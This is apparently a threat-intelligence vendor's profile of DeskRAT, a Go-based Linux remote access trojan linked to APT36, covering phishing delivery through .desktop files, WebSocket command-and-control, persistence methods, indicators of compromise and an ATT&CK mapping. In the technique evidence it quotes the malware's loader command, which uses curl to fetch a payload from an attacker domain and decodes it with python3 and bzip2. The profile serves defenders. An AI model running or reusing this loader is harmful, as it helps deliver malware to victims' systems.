Skip to main content
Mallory
MalwareUsed by 3 actors

DeskRAT

DeskRAT is a Golang-based remote access trojan associated with Pakistan-linked Transparent Tribe/APT36 (also tracked as Mythic Leopard) and used in espionage campaigns targeting Indian government, military, defense-related, and other strategic entities. Reporting describes it primarily as a Linux-focused implant targeting BOSS Linux environments, though related reporting also references delivery via rogue PowerPoint Add-In files and mentions related Windows tooling/variants in the same campaign cluster.

Observed delivery includes spear-phishing and social engineering using malicious ZIP attachments or links, weaponized freedesktop .desktop launchers, and contract- or government-themed lures. One documented Linux chain used an oversized malicious .desktop file named MoD_letter_update.desktop that abused the Exec= field and a triple-decoding bash loader (base64, xxd -r -p, and base64) to fetch an ASCII85-encoded, bzip2-compressed ELF payload from bossmaya[.]xyz/download.php?file=client.txt, write it under /tmp/.wAhJmE-<8-hex>, and execute it. Other reporting states malicious Desktop files displayed decoy PDFs while retrieving payloads from modgovindia[.]com, and that campaigns also used ZIP archives or cloud-hosted archives.

The Linux DeskRAT payload has been described as a statically linked stripped Linux x86_64 Go executable built with Go 1.24.3, with SHA-256 d62ad76a9841e710ce783c4f8313f134a1e6a726eb5b441b9cd49c7ae14b251a and Go Build ID 1a8d3756d7be400949824cee9462fb2cbac79106. The binary reportedly leaked compile-time paths including D:/bossmaya/our/newlinuxblkul/client/main.go and C:/Users/hp/go/pkg/mod/, indicating cross-compilation from a Windows host. Dependencies observed in the sample include github.com/gorilla/websocket@v1.5.0 and github.com/google/uuid@v1.3.0.

DeskRAT establishes command-and-control over WebSockets. Reported infrastructure includes 85.137.249[.]224:8080/ws, with Host-header-routed domains chuchuchacha[.]shop, chuchuchacha[.]xyz, makiinindia[.]xyz, and makiinindia[.]online, as well as prior or related infrastructure at 85.137.249[.]243 and 45.90.97[.]211. Another campaign cluster used modgovindia[.]space:4000 for encrypted HTTP POST exfiltration in a related Linux variant. The C2 server was observed returning a JSON welcome frame containing the text "Welcome to Stealth Server."

Capabilities attributed to DeskRAT and closely related Linux variants include persistence, remote command execution, file browsing and file collection/exfiltration, additional payload execution, heartbeat/ping handling, and multiple persistence mechanisms such as systemd, cron, autostart, and .bashrc modification. Reporting also characterizes DeskRAT as supporting data exfiltration and deployment of additional payloads. The malware is part of Transparent Tribe/APT36’s broader cross-platform malware evolution and has been described alongside other family names used by the actor, including Crimson RAT, CapraRAT, ElizaRAT, Geta RAT, Ares RAT, and Poseidon.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

THREAT ACTORS

Groups observed using it

3 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
Transparent Tribe

Once executed, the malicious .desktop launcher initiates a heavily obfuscated shell-based infection chain involving staged payload retrieval, inline decoding routines, and deployment of a Golang-based ELF implant tracked in this report as DeskRAT.

via the hacker newsthehackernews.com
TransparentTribe

Pakistan-Linked TransparentTribe APT Deploys AI-Assisted DeskRAT Malware Against India’s BOSS Linux Systems

via security online infosecurityonline.info
SideCopy

The campaigns are characterized by the use of malware families like Geta RAT, Ares RAT, and DeskRAT...

via cloudatg insightscloudatg.com
MITRE ATT&CK

Techniques & procedures

15 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques
T1566PhishingEvidence2

The disclosure comes as details have emerged of a targeted phishing operation leveraging weaponized Linux .desktop files to target the Indian military infrastructure using contract-related lures associated with Indian-armored vehicle procurement operations.

T1566.001Spearphishing AttachmentEvidence2

The current lure is themed as Ministry of Defence procurement of indigenous trawl assemblies for T-72 and T-90 main battle tanks ... a plausible-enough artifact for a defense-contracting inbox to open without hesitation.

Execution

5 techniques
T1059Command and Scripting InterpreterEvidence1
TacticExecution

"...run arbitrary shell commands..."

T1059.004Unix ShellEvidence2
TacticExecution

Once executed, the malicious .desktop launcher initiates a heavily obfuscated shell-based infection chain involving staged payload retrieval, inline decoding routines, and deployment of a Golang-based ELF implant tracked in this report as DeskRAT.

T1059.005Visual BasicEvidence1
TacticExecution

"DeskRAT, is delivered via a rogue PowerPoint Add-In file that runs embedded macro to establish outbound communication with a remote server to fetch the malware."

T1059.006PythonEvidence1
TacticExecution

curl ${YAiuradJ} ${JOsQTdyK} | python3 -c 'import base64,sys; sys.stdout.buffer.write(base64.a85decode(sys.stdin.read()))' | bzip2 -d

T1204.002Malicious FileEvidence1
TacticExecution

APT36 ... is running an active Linux-targeted campaign ... delivered through abuse of the freedesktop .desktop file format with a triple-encoded bash loader.

Stealth

3 techniques
T1027Obfuscated Files or InformationEvidence1
TacticStealth

The DeskRAT payload's ASCII85+bzip2 delivery mechanism, the decoded triple-encoded bash loader ( base64 → xxd -r -p → base64 ) ...

T1036MasqueradingEvidence1
TacticStealth

The root of the infection chain is a 1.4 MB .desktop file, MoD_letter_update.desktop ... a 500 KB base64-encoded PNG icon (so the launcher displays a convincing document icon to the victim), and a much larger base64-encoded .pdf-looking block that's actually unused data

T1564.001Hidden Files and DirectoriesEvidence1
TacticStealth

the client-side /tmp/.wAhJmE-<md5> randomized drop path ... The randomized drop path ( /tmp/.wAhJmE-<md5> ) and the dotfile prefix keep the payload hidden from ls without -a

Discovery

1 technique
T1082System Information DiscoveryEvidence1
TacticDiscovery

"Geta RAT supports various commands to collect system information, enumerate running processes..."

T1071Application Layer ProtocolEvidence2

The C2 protocol WebSocket ( ws:// over TCP/8080), gorilla/websocket implementation ... Sending a WebSocket upgrade ... all complete the handshake and receive a server-initiated JSON frame on connection

T1071.001Web ProtocolsEvidence1

The command-and-control channel is a WebSocket endpoint on 85.137.249[.]224:8080/ws ... The agent's runtime behavior is: dial wss://<c2>:8080/ws , register with a UUIDv4 session identifier prefixed cxx- , send heartbeats, and handle RPC messages over the WebSocket channel.

T1105Ingress Tool TransferEvidence2

Decoded, the command is plain: ... curl ... "https://" "bossmaya.xyz/download.php?file=client.txt" | python3 -c 'import base64,sys; sys.stdout.buffer.write(base64.a85decode(sys.stdin.read()))' | bzip2 -d

Other

1 technique
T1656ImpersonationEvidence1

The campaign appears to target individuals connected to Indian military and defense infrastructure ecosystems using WhatsApp-based social engineering and staged shell payload delivery.

INDICATORS OF COMPROMISE

IOCs tracked for this family

22 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
13 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
5 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
4 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app1 month ago
domain●●●●●●●●●●●●View more in app1 month ago
domain●●●●●●●●●●●●View more in app1 month ago
domain●●●●●●●●●●●●View more in app1 month ago
domain●●●●●●●●●●●●View more in app1 month ago
domain●●●●●●●●●●●●View more in app1 month ago
ACTIVITY FEED

Recent activity

12 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

the hacker newsNews
Jun 2, 2026
Pakistan-Linked SideCopy Targets Afghanistan Finance Ministry with Xeno RAT

A Golang-based ELF implant deployed through weaponized Linux .desktop files in a phishing campaign targeting Indian military and defense infrastructure via staged shell payload delivery.

Read more
breakglass intelNews
Apr 24, 2026
APT36 / Transparent Tribe - DeskRAT via `.desktop` Files, T-72/T-90 Procurement Lures, and a WebSocket C2 That Greets Visitors as 'Stealth Server' - Breakglass Intelligence - Breakglass Intelligence

A Go-based Linux stealer-RAT delivered via a malicious .desktop launcher and triple-encoded bash loader. The payload is fetched from a remote server, decoded from ASCII85 and bzip2, dropped into /tmp, then executed. The implant uses WebSocket C2 and is described as supporting standard RAT functions such as file listing, upload/download, command execution, heartbeats, and session registration.

Read more
cloudatg insightsNews
Feb 13, 2026
AI Development & Software Engineering | CloudATG

Remote access trojan used in campaigns targeting Indian defense sector and government-aligned organizations; used to steal sensitive data and maintain access.

Read more
the hacker newsNews
Feb 11, 2026
APT36 and SideCopy Launch Cross-Platform RAT Campaigns Against Indian Entities

Golang RAT delivered via a malicious PowerPoint Add-In (macro-enabled) that establishes outbound communication to fetch the payload. Used for stealthy, persistent, long-term access in espionage campaigns.

Read more
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching22

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution3

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping15

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.